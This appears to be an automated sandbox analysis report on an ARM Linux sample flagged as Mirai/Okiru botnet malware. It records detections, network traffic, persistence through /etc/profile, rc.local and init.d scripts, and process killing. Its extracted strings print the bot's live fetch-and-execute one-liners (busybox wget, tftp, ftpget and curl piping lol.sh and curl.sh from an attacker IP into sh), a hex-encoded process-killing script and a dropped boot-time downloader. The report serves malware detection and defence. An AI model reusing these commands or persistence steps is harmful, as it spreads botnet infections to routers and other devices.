Linux Analysis Report
arm7.nn-20241122-0008.elf

Overview

General Information

Sample name: arm7.nn-20241122-0008.elf
Analysis ID: 1560594
MD5: c09b386cc80e1e3265c7ee8cc85f85da
SHA1: 83948c901906298fb6e5258b066e11b299520616
SHA256: 171aba1005843a23312a4eb5bcb71590974a55ffd957e09bbc096a4fe750463e
Tags: user-elfdigest
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm7.nn-20241122-0008.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm7.nn-20241122-0008.elf ReversingLabs: Detection: 50%
Found strings indicative of a multi-platform dropper
Source: arm7.nn-20241122-0008.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: arm7.nn-20241122-0008.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 53682
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:40282 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.13:59522 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 85.63.139.128
Source: unknown TCP traffic detected without corresponding DNS query: 162.123.183.94
Source: unknown TCP traffic detected without corresponding DNS query: 11.150.35.149
Source: unknown TCP traffic detected without corresponding DNS query: 119.121.95.123
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 3.220.75.252
Source: unknown TCP traffic detected without corresponding DNS query: 200.98.239.93
Source: unknown TCP traffic detected without corresponding DNS query: 145.66.67.30
Source: unknown TCP traffic detected without corresponding DNS query: 85.63.139.128
Source: unknown TCP traffic detected without corresponding DNS query: 32.186.156.27
Source: unknown TCP traffic detected without corresponding DNS query: 62.96.189.89
Source: unknown TCP traffic detected without corresponding DNS query: 162.123.183.94
Source: unknown TCP traffic detected without corresponding DNS query: 11.150.35.149
Source: unknown TCP traffic detected without corresponding DNS query: 119.121.95.123
Source: unknown TCP traffic detected without corresponding DNS query: 3.220.75.252
Source: unknown TCP traffic detected without corresponding DNS query: 200.98.239.93
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm7.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/
Source: arm7.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm7.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: arm7.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Sample and/or dropped files contains symbols with suspicious names
Source: arm7.nn-20241122-0008.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5433) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5433) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5433) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5433) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5433) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5433) SIGKILL sent: pid: 5470, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/11@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5498) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5532) File: /etc/rc.d/S99arm7.nn-20241122-0008.elf -> /etc/init.d/arm7.nn-20241122-0008.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5495) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5508) File: /etc/init.d/arm7.nn-20241122-0008.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5660/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5661/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5662/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5663/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5664/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5260/cmdline Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5657/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5658/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5659/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5675/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5629/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5706/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5707/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5708/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5709/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5701/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5702/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5703/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5704/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5705/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5682/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5683/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5684/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5685/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5686/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5717/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5718/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5710/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5711/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5712/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5636/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5713/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5637/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5714/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5638/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5715/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5639/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5716/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5690/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5691/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5692/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5693/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5694/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5695/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5687/status Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5558) File opened: /proc/5689/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5447) Shell command executed: /bin/sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5492) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5496) Shell command executed: /bin/sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5499) Shell command executed: /bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm7.nn-20241122-0008.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm7.nn-20241122-0008.elf'\n /tmp/arm7.nn-20241122-0008.elf &\n wget eqqm7,,.60+.10+.+4-, -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm7.nn-20241122-0008.elf'\n killall arm7.nn-20241122-0008.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm7.nn-20241122-0008.elf" Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5501) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/arm7.nn-20241122-0008.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5523) Shell command executed: /bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5526) Shell command executed: /bin/sh -c "ln -s /etc/init.d/arm7.nn-20241122-0008.elf /etc/rc.d/S99arm7.nn-20241122-0008.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5495) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5508) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm7.nn-20241122-0008.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5525) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5467) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5495) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5508) File: /etc/init.d/arm7.nn-20241122-0008.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5499) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm7.nn-20241122-0008.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5499) File: /etc/init.d/arm7.nn-20241122-0008.elf Jump to dropped file
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 53682
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm7.nn-20241122-0008.elf (PID: 5417) Queries kernel information via 'uname': Jump to behavior
Source: arm7.nn-20241122-0008.elf, 5417.1.000055ee7e893000.000055ee7e9e4000.rw-.sdmp, arm7.nn-20241122-0008.elf, 5433.1.000055ee7e893000.000055ee7e9e4000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm7.nn-20241122-0008.elf, 5417.1.00007ffd565bc000.00007ffd565dd000.rw-.sdmp, arm7.nn-20241122-0008.elf, 5433.1.00007ffd565bc000.00007ffd565dd000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.nn-20241122-0008.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.nn-20241122-0008.elf
Source: arm7.nn-20241122-0008.elf, 5433.1.000055ee7e893000.000055ee7e9e4000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm7.nn-20241122-0008.elf, 5417.1.00007ffd565bc000.00007ffd565dd000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.699AIN:
Source: arm7.nn-20241122-0008.elf, 5417.1.00007ffd565bc000.00007ffd565dd000.rw-.sdmp Binary or memory string: /tmp/qemu-open.699AIN
Source: arm7.nn-20241122-0008.elf, 5417.1.000055ee7e893000.000055ee7e9e4000.rw-.sdmp Binary or memory string: !/proc/767/exe0!/proc/347/exe!/proc/765/exe/arm/pro1/usr/lib/policykit-1/polkitd0!/proc/371/exe!/usr/bin/vmtoolsdrm/pro1/usr/lib/x86_64-linux-gnu/xfce4/panel!/proc/378/exe!/proc/727/exe/arm/pro1/proc/914/exe/arm/0!/proc/418/exe!/usr/bin/VGAuthServiceo1
Source: arm7.nn-20241122-0008.elf, 5433.1.000055ee7e893000.000055ee7e9e4000.rw-.sdmp Binary or memory string: !/proc/767/exe0!/proc/347/exe!/proc/765/exe/arm/pro1/usr/lib/policykit-1/polkitd0!/proc/371/exe!/usr/bin/vmtoolsdrm/pro1/usr/lib/x86_64-linux-gnu/xfce4/panel!/proc/378/exe!/proc/727/exe/arm/pro1/proc/914/exe/arm/0!/proc/418/exe!/usr/bin/VGAuthServiceo1/proc/5521/exe/arm/0!/proc/419/exe1/usr/libexec/gsd-datetime
Source: arm7.nn-20241122-0008.elf, 5417.1.000055ee7e893000.000055ee7e9e4000.rw-.sdmp, arm7.nn-20241122-0008.elf, 5433.1.000055ee7e893000.000055ee7e9e4000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.nn-20241122-0008.elf, 5417.1.00007ffd565bc000.00007ffd565dd000.rw-.sdmp, arm7.nn-20241122-0008.elf, 5433.1.00007ffd565bc000.00007ffd565dd000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm7.nn-20241122-0008.elf, 5433.1.00007f9e5403f000.00007f9e54044000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsdp<

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 5433.1.00007f9e54017000.00007f9e54036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5417.1.00007f9e54017000.00007f9e54036000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 5433.1.00007f9e54017000.00007f9e54036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5417.1.00007f9e54017000.00007f9e54036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn-20241122-0008.elf PID: 5417, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm7.nn-20241122-0008.elf PID: 5433, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 5433.1.00007f9e54017000.00007f9e54036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5417.1.00007f9e54017000.00007f9e54036000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 5433.1.00007f9e54017000.00007f9e54036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5417.1.00007f9e54017000.00007f9e54036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn-20241122-0008.elf PID: 5417, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm7.nn-20241122-0008.elf PID: 5433, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
146.229.180.6
 unknown United States
10364 UAHNETUS false
57.98.44.160
 unknown Belgium
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
62.158.86.176
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
92.127.27.114
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
216.122.192.38
 unknown Canada
13768 COGECO-PEER1CA false
144.46.28.115
 unknown United States
21286 KPN-CORPORATE-MARKETNL false
192.202.127.152
 unknown United States
10912 INTERNAP-BLKUS false
195.108.62.76
 unknown Netherlands
702 UUNETUS false
34.34.233.103
 unknown United States
2686 ATGS-MMD-ASUS false
130.230.7.114
 unknown Finland
1739 TUTNETTUTAutonomousSystemEU false
188.17.53.41
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
90.32.128.232
 unknown France
3215 FranceTelecom-OrangeFR false
99.186.82.153
 unknown United States
7018 ATT-INTERNET4US false
221.68.25.228
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
39.135.196.8
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
83.237.32.191
 unknown Russian Federation
8359 MTSRU false
7.121.118.251
 unknown United States
3356 LEVEL3US false
111.43.34.29
 unknown China
132525 CMNET-HEILONGJIANG-CNHeiLongJiangMobileCommunicationComp false
175.183.14.53
 unknown Taiwan; Republic of China (ROC)
